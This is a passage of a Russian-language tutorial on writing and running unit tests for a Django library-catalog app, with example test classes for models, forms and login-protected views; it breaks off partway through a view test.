вы запускаете тест, фреймворк выполняет соответствующие тестовые методы в вашем классе-наследнике. Методы тестирования запускаются независимо друг от друга, начиная с метода настроек и/или завершаясь методом разрушения (tear-down), определенном в классе, как показано ниже.</p> + +<pre class="brush: python">class YourTestClass(TestCase): + + def setUp(self): + # Установки запускаются перед каждым тестом + pass + + def tearDown(self): + # Очистка после каждого метода + pass + + def test_something_that_will_pass(self): + self.assertFalse(False) + + def test_something_that_will_fail(self): + self.assertTrue(False) +</pre> + +<p>Самый подходящий базовый класс для большинства тестов это <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a>. Этот класс создает чистую базу данных перед запуском своих методов, а также запускает каждую функцию тестирования в его собственной транзакции. У данного класса также имеется тестовый <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client" title="django.test.Client">Клиент</a>, который вы можете использовать для имитации взаимодействия пользователя с кодом на уровне отображения. В следующих разделах мы сконцентритуемся на юнит-тестах, которые будут созданы на основе класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">TestCase</a>.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Класс <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#testcase">django.test.TestCase</a> очень удобен, но он может приводить к замедленной работе в некоторых случаях (не для каждого теста необходимо настраивать базу данных, или имитировать взаимодействие с отображеним). Когда вы познакомитесь с работой данного класса, то сможете заменить некоторые из ваших тестов на более простые классы тестирования.</p> +</div> + +<h3 id="Что_вы_должны_тестировать">Что вы должны тестировать?</h3> + +<p>Вы должны тестировать все аспекты, касающиеся вашего кода, но не библиотеки, или функциональность, предоставляемые Python, или Django.</p> + +<p>Например, рассмотрим модель <code>Author</code>, определенную ниже. Вам не нужно проверять тот факт, что <code>first_name</code> и <code>last_name</code> были сохранены в базу данных как <code>CharField</code>, потому что за это отвечает непосредственно Django (хотя конечно, на практике в течение разработки вы косвенно будете проверять данную функциональность). Тоже касается и, например, проверки того, что поле <code>date_of_birth</code> является датой, поскольку это тоже часть реализации Django.</p> + +<p>Вы должны проверить текст для меток (<em>First name, Last_name, Date of birth, Died</em>), и размер поля, выделенного для текста (<em>100 символов</em>), потому что они являются частью вашей разработки и чем-то, что может сломаться/измениться в будущем.</p> + +<pre class="brush: python">class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name)</pre> + +<p>Подобным же образом вы должны убедиться, что методы <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code> и <code style="font-style: normal; font-weight: normal;">__str__()</code> ведут себя как требуется, потому что они являются частью вашей бизнес логики. В случае функции <code style="font-style: normal; font-weight: normal;">get_absolute_url()</code> вы можете быть уверены, что функция из Django <code>reverse()</code> была реализована правильно и, следовательно, вы тестируете только то, чтобы соответствующий вызов в отображении был правильно определен.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Проницательные читатели могут заметить, что мы можем некоторым образом ограничить дату рождения и смерти какими-то граничными значениями и выполнять проверку, чтобы дата смерти шла после рождения. В Django данное ограничение может быть добавлено к вашим классам форм (хотя вы и можете определить валидаторы для этих полей, они будут проявлять себя только на уровне форм, а не уровне модели).</p> +</div> + +<p>Ну что же, усвоив данную информацию, давайте перейдем к процессу определения и запуска тестов.</p> + +<h2 id="Обзор_стуктуры_тестов">Обзор стуктуры тестов</h2> + +<p>Перед тем как мы перейдем к тому "что тестировать", давайте кратко взглянем на моменты <em>где</em> и <em>как</em> определяются тесты.</p> + +<p>Django использует юнит-тестовый модуль - <a href="https://docs.python.org/3/library/unittest.html#unittest-test-discovery" title="(in Python v3.5)">встроенный "обнаружитель" тестов</a>, который находит тесты в текущей рабочей директории, в любом файле с шаблонным именем<strong> test*.py</strong>. Предоставляя соответствующие имена файлов, вы можете работать с любой структурой которая вас устраивает. Мы рекомендуем создать пакет для вашего тестирующего кода и, следовательно, отделить файлы моделей, отображений, форм и любые другие, от кода который будет использоваться для тестов. Например:</p> + +<pre>catalog/ + /tests/ + __init__.py + test_models.py + test_forms.py + test_views.py +</pre> + +<p>В проекте <em>LocalLibrary</em> создайте файловую структуру, указанную выше. Файл <strong>__init__.py</strong> должен быть пустым (так мы говорим Питону, что данная директория является пакетом). Вы можете создать три тестовых файла при помощи копирования и переименования файла-образца <strong>/catalog/tests.py</strong>.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Скелет тестового файла <strong>/catalog/tests.py</strong> был создан автоматически когда мы выполняли <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">построение скелета сайта Django</a>. Является абсолютно "легальным" действием - поместить все ваши тесты в данный файл, тем не менее, если вы проводите тесты "правильно", то вы очень быстро придете к очень большому и неуправляемому файлу тестирования.</p> + +<p>Можете удалить данный файл, поскольку больше он нам не понадобится.</p> +</div> + +<p>Откройте <strong>/catalog/tests/test_models.py</strong>. Файл должен импортировать <code>django.test.TestCase</code>, как показано ниже:</p> + +<pre class="brush: python">from django.test import TestCase + +# Поместите ваш код тестов здесь +</pre> + +<p>Вы часто будете добавлять соответствующий тестовый класс для каждой модели/отображения/формы с отдельными методами проверки каждой отдельной функциональности. В каких-то случаях вы захотите иметь отдельный класс для тестирования какого-то особого варианта работы, или функционала, с отдельными функциями тестирования, которые будут проверять элемент/элементы данного варианта (например, мы можем создать отдельный класс тестирования для проверки того, что поле валидно, - функции данного класса будут проверять каждый неверный вариант использования). Опять же, структура файлов и пакетов полностью зависит от вас и будет лучше если вы будете ее придерживаться.</p> + +<p>Добавьте тестовый класс, показанный ниже, в нижнюю часть файла. Данный класс демонстрирует как создать класс тестирования при помощи наследования от <code>TestCase</code>.</p> + +<pre class="brush: python">class YourTestClass(TestCase): + + @classmethod + def setUpTestData(cls): + print("setUpTestData: Run once to set up non-modified data for all class methods.") + pass + + def setUp(self): + print("setUp: Run once for every test method to setup clean data.") + pass + + def test_false_is_false(self): + print("Method: test_false_is_false.") + self.assertFalse(False) + + def test_false_is_true(self): + print("Method: test_false_is_true.") + self.assertTrue(False) + + def test_one_plus_one_equals_two(self): + print("Method: test_one_plus_one_equals_two.") + self.assertEqual(1 + 1, 2)</pre> + +<p>Этот класс определяет два метода которые вы можете использовать для дотестовой настройки (например, создание какой-либо модели, или других объектов, которые вам понадобятся):</p> + +<ul> + <li><code>setUpTestData()</code> вызывается каждый раз перед запуском теста на уровне настройки всего класса. Вы должны использовать данный метод для создания объектов, которые не будут модифицироваться/изменяться в каком-либо из тестовых методов.</li> + <li><code>setUp()</code> вызывается перед каждой тестовой функцией для настройки объектов, которые могут изменяться во время тестов (каждая функция тестирования будет получать "свежую" версию данных объектов).</li> +</ul> + +<div class="note"> +<p><strong>Примечание</strong>. Классы тестирования также содержат метод <code>tearDown()</code>, который мы пока не используем. Этот метод не особенно полезен для тестирования баз данных, поскольку базовый класс <code>TestCase</code> автоматически разрывает соединения с ними.</p> +</div> + +<p>Далее идут несколько методов, которые используют функции <code>Assert</code>, проверяющие условия "истинно" (true), "ложно" (false) или равенство (<code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code>). Если условия не выполняются как ожидалось, то это приводит к провалу теста и выводу соответствующего сообщения об ошибке на консоль.</p> + +<p>Функции проверки утверждений <code>AssertTrue</code>, <code>AssertFalse</code>, <code>AssertEqual</code> реализованы в <strong>unittest</strong>. В данном фреймворке существуют и другие подобные функции, а кроме того, <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#assertions">специфические для Django функции</a> проверки, например, перехода из/к отображению (<code>assertRedirects</code>), проверки использования какого-то конкретного шаблона (<code>assertTemplateUsed</code>) и так далее.</p> + +<div class="note"> +<p>В обычной ситуации у вас нет необходимости вызывать функции <strong>print()</strong> из методов теста, как во фрагменте выше. Мы поступили так только для того, чтобы вы в консоле увидели порядок вызова тестовых функций класса.</p> +</div> + +<h2 id="Как_запускать_тесты">Как запускать тесты</h2> + +<p>Простейшим способом запуска всех тестов является применение следующей команды:</p> + +<pre class="brush: bash">python3 manage.py test</pre> + +<p>Таким образом мы найдем в текущей директории все файлы с именем <strong>test*.py</strong> и запустим все тесты (у нас имеются несколько файлов для тестирования, но на данный момент, только <strong>/catalog/tests/test_models.py</strong> содержит какие-либо тесты). По умолчанию, тесты сообщат что-нибудь, только в случае провала.</p> + +<p>Запустите тесты из корневой папки сайта <em>LocalLibrary</em>. Вы должны увидеть вывод, который похож на следующий.</p> + +<pre class="brush: bash">>python manage.py test + +Creating test database for alias 'default'... +<strong>setUpTestData: Run once to set up non-modified data for all class methods. +setUp: Run once for every test method to setup clean data. +Method: test_false_is_false. +.setUp: Run once for every test method to setup clean data. +Method: test_false_is_true. +.setUp: Run once for every test method to setup clean data. +Method: test_one_plus_one_equals_two.</strong> +. +====================================================================== +FAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "D:\Github\django_tmp\library_w_t_2\locallibrary\catalog\tests\tests_models.py", line 22, in test_false_is_true + self.assertTrue(False) +AssertionError: False is not true + +---------------------------------------------------------------------- +Ran 3 tests in 0.075s + +FAILED (failures=1) +Destroying test database for alias 'default'...</pre> + +<p>Как видите, один тест провалился и мы можем точно увидеть в какой именно функции это произошло и почему (так и было задумано, поскольку <code>False</code> не равен <code>True</code>!).</p> + +<div class="note"> +<p><strong>Совет: </strong> Самая важная вещь, которую нужно извлечь из тестового выхода выше, заключается в том, что это гораздо более ценно, если вы используете описательные/информативные имена для ваших объектов и методов.</p> +</div> + +<p>Текст выделенный жирным, обычно не должен появляться в тестовом выводе (это результат работы функций <code>print()</code> в наших тестах). Он показывает, что вызов метода <code>setUpTestData()</code> происходит один раз для всего класса в целом, а вызовы<code>setUp()</code> осуществляются перед каждым методом.</p> + +<p>Следующий раздел показывает как запускать отдельные тесты и как контролировать процесс вывода информации.</p> + +<h3 id="Еще_больше_тестовой_информации">Еще больше тестовой информации</h3> + +<p>Если вы желаете получать больше информации о тестах вы должны изменить значение параметра <em>verbosity</em>. Например, для вывода списка успешных и неуспешных тестов (и всю информацию о том, как прошла настройка базы данных) вы можете установить значение verbosity равным "2":</p> + +<pre class="brush: bash">python3 manage.py test --verbosity 2</pre> + +<p>Доступными значениями для verbosity являются 0, 1 (значение по умолчанию), 2 и 3.</p> + +<h3 id="Запуск_определенных_тестов">Запуск определенных тестов</h3> + +<p>Если вы хотите запустить подмножество тестов, тогда вам надо указать полный путь к вашему пакету, модулю/подмодулю, классу наследнику<code>TestCase</code>, или методу:</p> + +<pre class="brush: bash">python3 manage.py test catalog.tests # Run the specified module +python3 manage.py test catalog.tests.test_models # Run the specified module +python3 manage.py test catalog.tests.test_models.YourTestClass # Run the specified class +python3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two # Run the specified method +</pre> + +<h2 id="Тестирование_LocalLibrary">Тестирование LocalLibrary</h2> + +<p>Теперь, когда мы знаем как запустить наши тесты и что именно мы должны тестировать, давайте рассмртрим некоторые практические примеры.</p> + +<div class="note"> +<p><strong>Примечание: </strong>Мы не будем расписывать все тесты, а просто покажем вам пример того, как они должны работать и что еще вы можете с ними сделать.</p> +</div> + +<h3 id="Модели">Модели</h3> + +<p>Как было отмечено ранее, мы должны тестировать все то, что является частью нашего кода, а не библиотеки/код, которые уже были протестированы командами разработчиков Django, или Python.</p> + +<p>Рассмотрим модель <code>Author</code>. Мы должны провести тесты текстовых меток всех полей, поскольку, даже несмотря на то, что не все они определены, у нас есть проект, в котором сказано, что все их значения должны быть заданы. Если мы не проведем их тестирование, тогда мы не будем знать, что данные метки действительно содержат необходимые значения. Мы уверены в том, что Django создаст поле заданной длины, таким образом наши тесты будут проверять нужный нам размер поля, а заодно и его содержимое.</p> + +<pre class="brush: python">class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name)</pre> + +<p>Откройте файл <strong>/catalog/tests/test_models.py</strong> и замените все его содержимое кодом, приведенном во фрагменте для тестирования модели <code>Author</code> (фрагмент представлен ниже).</p> + +<p>В первой строке мы импортируем класс <code>TestCase</code>, а затем наследуемся от него, создавая класс с описательным именем (<code>AuthorModelTest</code>), оно поможет нам идентифицировать места провалов в тестах во время вывода информации на консоль. Затем мы создаем метод <code>setUpTestData()</code>, в котором создаем объект автора, который мы будем использовать в тестах, но нигде не будем изменять.</p> + +<pre class="brush: python">from django.test import TestCase + +# Create your tests here. + +from catalog.models import Author + +class AuthorModelTest(TestCase): + + @classmethod + def setUpTestData(cls): + #Set up non-modified objects used by all test methods + Author.objects.create(first_name='Big', last_name='Bob') + + def test_first_name_label(self): + author=Author.objects.get(id=1) + field_label = author._meta.get_field('first_name').verbose_name + self.assertEquals(field_label,'first name') + + def test_date_of_death_label(self): + author=Author.objects.get(id=1) + field_label = author._meta.get_field('date_of_death').verbose_name + self.assertEquals(field_label,'died') + + def test_first_name_max_length(self): + author=Author.objects.get(id=1) + max_length = author._meta.get_field('first_name').max_length + self.assertEquals(max_length,100) + + def test_object_name_is_last_name_comma_first_name(self): + author=Author.objects.get(id=1) + expected_object_name = '%s, %s' % (author.last_name, author.first_name) + self.assertEquals(expected_object_name,str(author)) + + def test_get_absolute_url(self): + author=Author.objects.get(id=1) + #This will also fail if the urlconf is not defined. + self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre> + +<p>Тесты полей проверяют значения текстовых меток (<code>verbose_name</code>), включая их ожидаемую длину. Все методы имеют описательные имена, а их логика придерживается одной и той же структуры:</p> + +<pre class="brush: python"># Получение объекта для тестирования +author=Author.objects.get(id=1) + +# Получение метаданных поля для получения необходимых значений +field_label = author._meta.get_field('first_name').verbose_name + +# Сравнить значение с ожидаемым результатом +self.assertEquals(field_label,'first name') </pre> + +<p>Интересно отметить следующее:</p> + +<ul> + <li>Мы не можем получить поле <code>verbose_name</code> напрямую через <code>author.first_name.verbose_name</code>, потому что <code>author.first_name</code> является <em>строкой</em>. Вместо этого, нам надо использовать атрибут <code>_meta</code> объекта автора для получения того экземпляра поля, который будет использоваться для получения дополнительной информации.</li> + <li>Мы выбрали метод <code>assertEquals(field_label,'first name')</code> вместо <code>assertTrue(field_label == 'first name')</code>, потому что, в случае провала теста, в выводе будет указано какое именно значение содержит метка и это немного облегчит нам задачу по отладке кода.</li> +</ul> + +<div class="note"> +<p><strong>Примечание:</strong> Тесты для текстовых меток <code>last_name</code> и <code>date_of_birth</code>, а также тест длины поля <code>last_name</code> были опущены. Добавьте свою версию этих тестов, соблюдая соглашение об именовании и следуя структуре логики, представленной выше.</p> +</div> + +<p>Кроме того, нам надо провести тесты наших собственных методов. Они просто проверяют, что имена объектов имеют следующие значения "Last Name, First Name" и что URL-адрес, по которому мы получаем экземпляр <code>Author</code>, такой как ожидается.</p> + +<pre class="brush: python">def test_object_name_is_last_name_comma_first_name(self): + author=Author.objects.get(id=1) + expected_object_name = '%s, %s' % (author.last_name, author.first_name) + self.assertEquals(expected_object_name,str(author)) + +def test_get_absolute_url(self): + author=Author.objects.get(id=1) + #This will also fail if the urlconf is not defined. + self.assertEquals(author.get_absolute_url(),'/catalog/author/1')</pre> + +<p>Теперь запустите тесты. Если вы создали модель Author, в соответствии с разделом о моделях данного руководства, то весьма вероятно, что вы получите сообщение об ошибке для метки <code>date_of_death</code>, как показано ниже. Тест провалился потому что, в соответствии с соглашением Django, первый символ имени метки должен быть в верхнем регистре (Django делает это автоматически).</p> + +<pre class="brush: bash">====================================================================== +FAIL: test_date_of_death_label (catalog.tests.test_models.AuthorModelTest) +---------------------------------------------------------------------- +Traceback (most recent call last): + File "D:\...\locallibrary\catalog\tests\test_models.py", line 32, in test_date_of_death_label + self.assertEquals(field_label,'died') +AssertionError: 'Died' != 'died' +- Died +? ^ ++ died +? ^</pre> + +<p>Это несущественный баг, но он демонстрирует нам то, что написание тестов может более тщательно проверить все неточности, которые вы можете сделать.</p> + +<div class="note"> +<p><strong>Примечание: </strong>Измените значение метки для поля date_of_death (/catalog/models.py) на "died" и перезапустите тесты.</p> +</div> + +<p>Тот же подход применяется к тестированию других моделей. Самостоятельно создайте свои собственные тесты для оставшихся моделей.</p> + +<h3 id="Формы">Формы</h3> + +<p>Смысл проведения тестов для форм тот же, что и для моделей; надо проверить весь собственный код и другие особенности проекта, но не то, что касается фреймворка, или сторонних библиотек.</p> + +<p>В основном это означает, что вы должны протестировать то, что формы имеют соответствующие поля и что они показываются с соответствующими метками и вспомогательными текстами. Вам не надо проверять то, что Django правильно осуществляет валидацию полей (если только вы не создали свое собственное поле и валидацию) — то есть вам не надо проверять что, например, поле ввода имейл-адреса принимает только имейл-адреса. Но вы должны протестировать каждую дополнительную валидацию, которую вы добавляете для полей и любые сообщения, который ваш код генерирует в случае ошибок.</p> + +<p>Рассмотрим форму для обновления книг. Она имеет только одно поле обновления даты, которое будет иметь текстовую метку и вспомогательный текст, который вам надо проверить.</p> + +<pre class="brush: python">class RenewBookForm(forms.Form): + """ + Форма обновления книг для библиотекарей + """ + renewal_date = forms.DateField(help_text="Enter a date between now and 4 weeks (default 3).") + + def clean_renewal_date(self): + data = self.cleaned_data['renewal_date'] + + #Проверка, что дата не в прошлом. + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + #Если дата в "далеком" будущем (+4 недели) + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Всегда надо возвращать очищенные данные. + return data</pre> + +<p>Откройте файл <strong>/catalog/tests/test_forms.py</strong> и замените весь существующий в нем код, следующим кодом теста для формы <code>RenewBookForm</code>. Мы начали его с импорта нашей формы и некоторых библиотек Python и Django, которые погут нам провести тесты. Затем, тем же способом как мы делали для моделей, объявляем тестовый класс нашей формы, то есть применяя описательное имя класс наследника <code>TestCase</code>.</p> + +<pre class="brush: python">from django.test import TestCase + +# Создайте ваши тесты здесь + +import datetime +from django.utils import timezone +from catalog.forms import RenewBookForm + +class RenewBookFormTest(TestCase): + + def test_renew_form_date_field_label(self): + form = RenewBookForm() + self.assertTrue(form.fields['renewal_date'].label == None or form.fields['renewal_date'].label == 'renewal date') + + def test_renew_form_date_field_help_text(self): + form = RenewBookForm() + self.assertEqual(form.fields['renewal_date'].help_text,'Enter a date between now and 4 weeks (default 3).') + + def test_renew_form_date_in_past(self): + date = datetime.date.today() - datetime.timedelta(days=1) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_too_far_in_future(self): + date = datetime.date.today() + datetime.timedelta(weeks=4) + datetime.timedelta(days=1) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertFalse(form.is_valid()) + + def test_renew_form_date_today(self): + date = datetime.date.today() + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertTrue(form.is_valid()) + + def test_renew_form_date_max(self): + date = timezone.now() + datetime.timedelta(weeks=4) + form_data = {'renewal_date': date} + form = RenewBookForm(data=form_data) + self.assertTrue(form.is_valid()) +</pre> + +<p>Первые две функции проверяют текст который должны содержать поля <code>label</code> и <code>help_text</code>. Доступ к полю мы получаем при помощи словаря (то есть, <code>form.fields['renewal_date']</code>). Отметим, что мы должны проверять содержит ли метка значение <code>None</code>, иначе в поле текста метки вы увидите "<code>None</code>".</p> + +<p>Оставшиеся функции проверяют валидность дат, то есть их нахождение внутри определенного интервала, а также невалидность для значений, которые находятся вне заданного интервала. Для получения исходного значения мы использовали функцию получения текущей даты (<code>datetime.date.today()</code>), а также функцию <code>datetime.timedelta()</code> (которая принимает определенное число дней, или недель). Затем мы просто создали форму, передавая ей наши данные и проверяя ее на валидность.</p> + +<div class="note"> +<p><strong>Примечание:</strong> В данном примере мы не использовали ни базу данных, ни тестовый клиент. Рассмотрите модификацию этих тестов при помощи класса <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.SimpleTestCase">SimpleTestCase</a>.</p> + +<p>Нам также надо бы проверять возникновение ошибок, которые появляются если форма не валидна. Но, обычно, это относится к процессу вывода информации, таким образом, мы позаботимся об этом в следующем разделе.</p> +</div> + +<p>На этом с формами можно закончить; у нас имеются и другие тесты, но они были созданы обобщенными классами отображения для редактирования! Запустите тесты и убедитесь, что наш код все еще им соответствует!</p> + +<h3 id="Отображения">Отображения</h3> + +<p>Для проверки поведения отображения мы используем тестовый клиет Django <a href="https://docs.djangoproject.com/en/1.10/topics/testing/tools/#django.test.Client">Client</a>. Данный класс действует как упрощенный веб-браузер который мы применяем для имитации <code>GET</code> и <code>POST</code> запросов и проверки ответов. Про ответы мы можем узнать почти все, начиная с низкоуровневого HTTP (итоговые заголовки и коды статусов) и вплоть до применяемых шаблонов, которые используются для HTML-рендера, а также контекста, который передается в соответствующий шаблон. Кроме того, мы можем отследить последовательность перенаправлений (если имеются), проверить URL-адреса и коды статусов на каждом шаге. Все это позволит нам проверить, что каждое отображение выполняет то, что ожидается.</p> + +<p>Давайте начнем с одного из простейших отображений которое возвращает список всех авторов. Вы можете его увидеть по URL-адресу <strong>/catalog/authors/</strong> (данный URL-адрес можно найти в разделе приложения catalog, в файле настроек urls.py по имени 'authors').</p> + +<pre class="brush: python">class AuthorListView(generic.ListView): + model = Author + paginate_by = 10 +</pre> + +<p>Поскольку это обобщенное отображение списка, то почти все за нас делает Django. Если вы доверяете Django, то единственной вещью, которую вам нужно протестировать, является переход к данному отображению по указанному URL-адресу. Таким образом, если вы применяете методику TDD (test-driven development, разработка через тесты), то начните проект с написания тестов, которые будут проверять, что данное отображение выводит всех авторов и, к тому же, например, блоками по 10.</p> + +<p>Откройте файл <strong>/catalog/tests/test_views.py</strong> замените все его содержимое на следующий код теста для класса <code>AuthorListView</code>. Как и ранее, мы импортируем нашу модель и некоторые полезные классы. В методе <code>setUpTestData()</code> мы задаем число объектов класса <code>Author</code> которые мы тестируем при постраничном выводе.</p> + +<pre class="brush: python">from django.test import TestCase + +# Create your tests here. + +from catalog.models import Author +from django.urls import reverse + +class AuthorListViewTest(TestCase): + + @classmethod + def setUpTestData(cls): + #Create 13 authors for pagination tests + number_of_authors = 13 + for author_num in range(number_of_authors): + Author.objects.create(first_name='Christian %s' % author_num, last_name = 'Surname %s' % author_num,) + + def test_view_url_exists_at_desired_location(self): + resp = self.client.get('/catalog/authors/') + self.assertEqual(resp.status_code, 200) + + def test_view_url_accessible_by_name(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + + def test_view_uses_correct_template(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + + self.assertTemplateUsed(resp, 'catalog/author_list.html') + + def test_pagination_is_ten(self): + resp = self.client.get(reverse('authors')) + self.assertEqual(resp.status_code, 200) + self.assertTrue('is_paginated' in resp.context) + self.assertTrue(resp.context['is_paginated'] == True) + self.assertTrue( len(resp.context['author_list']) == 10) + + def test_lists_all_authors(self): + #Get second page and confirm it has (exactly) remaining 3 items + resp = self.client.get(reverse('authors')+'?page=2') + self.assertEqual(resp.status_code, 200) + self.assertTrue('is_paginated' in resp.context) + self.assertTrue(resp.context['is_paginated'] == True) + self.assertTrue( len(resp.context['author_list']) == 3)</pre> + +<p>Все тесты используют клиент (принадлежащего классу <code>TestCase</code>, от которого мы наследовались) для имитации <code>GET</code>-запроса и получения ответа (<code>resp</code>). Первая версия проверяет заданный URL-адрес (заметьте, - просто определенный путь без указания домена), в то время как второй генерирует URL-адрес при помощи его имени, указанного в настройках.</p> + +<pre class="brush: python">resp = self.client.get('/catalog/authors/') +resp = self.client.get(reverse('authors')) +</pre> + +<p>Когда мы получаем ответ, то мы извлекаем код статуса, используемый шаблон, "включен" ли постраничный вывод, количество элементов в подмножестве (на странице) и общее число элементов.</p> + +<p>Наиболее интересной переменной является <code>resp.context</code>, которая является объектом контекста, который передается шаблону из отображения. Он (объект контекста) очень полезен для тестов, поскольку позволяет нам убедиться, что наш шаблон получает все данные которые ему необходимы. Другими словами мы можем проверить, что мы используем правильный шаблон с данными, которые проделывают долгий путь проверок чтобы соответствовать данному шаблону.</p> + +<h4 id="Отображения_и_регистрация_пользователей">Отображения и регистрация пользователей</h4> + +<p>В некоторых случаях вам нужно провести тесты отображений к которым имеют доступ только зарегистрированные пользователи. Например, <code>LoanedBooksByUserListView</code> очень похоже на наше предыдущее отображение, но доступно только для залогинившихся пользователей и показывает только те записи (<code>BookInstance)</code>, которые соответствуют текущему пользователю, имеют статус 'on loan' (книга взята домой), а также забронированны.</p> + +<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin + +class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): + """ + Обобщенный класс отображения списка взятых книг текущим пользователем + """ + model = BookInstance + template_name ='catalog/bookinstance_list_borrowed_user.html' + paginate_by = 10 + + def get_queryset(self): + return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> + +<p>Добавьте тестовый код следующего фрагмента в <strong>/catalog/tests/test_views.py</strong>. В нем, для создания нескольких аккаунтов и объектов <code>BookInstance</code> которые будут использоваться в дальнейших тестах, мы используем метод <code>SetUp()</code> (вместе с соответствующими книгами и другими записями). Половина книг бронируется тестовыми пользователями, но в начале для них всех мы устанавливаем статус "доступно". Использование метода <code>SetUp()</code> предпочтительнее чем <code>setUpTestData()</code>, поскольку в дальнейшем мы будем модифицировать некоторые объекты.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Метод <code>setUp()</code> создает книгу с заданным языком <code>Language</code>, но <em>ваш</em> код может не включать в себя модель <code>Language</code>, поскольку это было <em>домашним заданием</em>. В таком случае просто закомментируйте соответствующие строки. Поступите также и в следующем разделе, посвященном <code>RenewBookInstancesViewTest.</code></p> +</div> + +<pre class="brush: python">import datetime +from django.utils import timezone + +from catalog.models import BookInstance, Book, Genre, Language +from django.contrib.auth.models import User # Необходимо для представления User как borrower + +class LoanedBookInstancesByUserListViewTest(TestCase): + + def setUp(self): + # Создание двух пользователей + test_user1 = User.objects.create_user(username='testuser1', password='12345') + test_user1.save() + test_user2 = User.objects.create_user(username='testuser2', password='12345') + test_user2.save() + + # Создание книги + test_author = Author.objects.create(first_name='John', last_name='Smith') + test_genre = Genre.objects.create(name='Fantasy') + test_language = Language.objects.create(name='English') + test_book = Book.objects.create(title='Book Title', summary = 'My book summary', isbn='ABCDEFG', author=test_author, language=test_language) + # Create genre as a post-step + genre_objects_for_book = Genre.objects.all() + test_book.genre.set(genre_objects_for_book) # Присвоение типов many-to-many напрямую недопустимо + test_book.save() + + # Создание 30 объектов BookInstance + number_of_book_copies = 30 + for book_copy in range(number_of_book_copies): + return_date= timezone.now() + datetime.timedelta(days=book_copy%5) + if book_copy % 2: + the_borrower=test_user1 + else: + the_borrower=test_user2 + status='m' + BookInstance.objects.create(book=test_book,imprint='Unlikely Imprint, 2016', due_back=return_date, borrower=the_borrower, status=status) + + def test_redirect_if_not_logged_in(self): + resp = self.client.get(reverse('my-borrowed')) + self.assertRedirects(resp, '/accounts/login/?next=/catalog/mybooks/') + + def test_logged_in_uses_correct_template(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + # Проверка что пользователь залогинился + self.assertEqual(str(resp.context['user']), 'testuser1') + # Проверка ответа на запрос + self.assertEqual(resp.status_code, 200) + + # Проверка того, что мы используем правильный шаблон + self.assertTemplateUsed(resp, 'catalog/bookinstance_list_borrowed_user.html') +</pre> + +<p>Если пользователь не залогирован то, чтобы убедиться в том что отображение перейдет на страницу входа (логирования), мы используем метод <code>assertRedirects</code>, что продемонстрировано в методе <code>test_redirect_if_not_logged_in()</code>. Затем мы осуществляем вход для пользователя и проверям что полученный статус <code>status_code</code> равен 200 (успешно). </p> + +<p>Остальные тесты проверяют, соответственно, что наше отображение показывает только те книги которые взяты текущим пользователем. Скопируйте код, показанный ниже, в нижнюю часть предыдущего класса.</p> + +<pre class="brush: python"> def test_only_borrowed_books_in_list(self): + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Проверка, что пользователь залогинился + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Проверка, что изначально у нас нет книг в списке + self.assertTrue('bookinstance_list' in resp.context) + self.assertEqual( len(resp.context['bookinstance_list']),0) + + #Теперь все книги "взяты на прокат" + get_ten_books = BookInstance.objects.all()[:10] + + for copy in get_ten_books: + copy.status='o' + copy.save() + + #Проверка, что все забронированные книги в списке + resp = self.client.get(reverse('my-borrowed')) + #Проверка, что пользователь залогинился + self.assertEqual(str(resp.context['user']), 'testuser1') + #Проверка успешности ответа + self.assertEqual(resp.status_code, 200) + + self.assertTrue('bookinstance_list' in resp.context) + + #Подтверждение, что все книги принадлежат testuser1 и взяты "на прокат" + for bookitem in resp.context['bookinstance_list']: + self.assertEqual(resp.context['user'], bookitem.borrower) + self.assertEqual('o', bookitem.status) + + def test_pages_ordered_by_due_date(self): + + #Изменение статуса на "в прокате" + for copy in BookInstance.objects.all(): + copy.status='o' + copy.save() + + login = self.client.login(username='testuser1', password='12345') + resp = self.client.get(reverse('my-borrowed')) + + #Пользователь залогинился + self.assertEqual(str(resp.context['user']), 'testuser1') + #Check that we got a response "success" + self.assertEqual(resp.status_code, 200) + + #Подтверждение, что из всего списка показывается только 10 экземпляров + self.assertEqual( 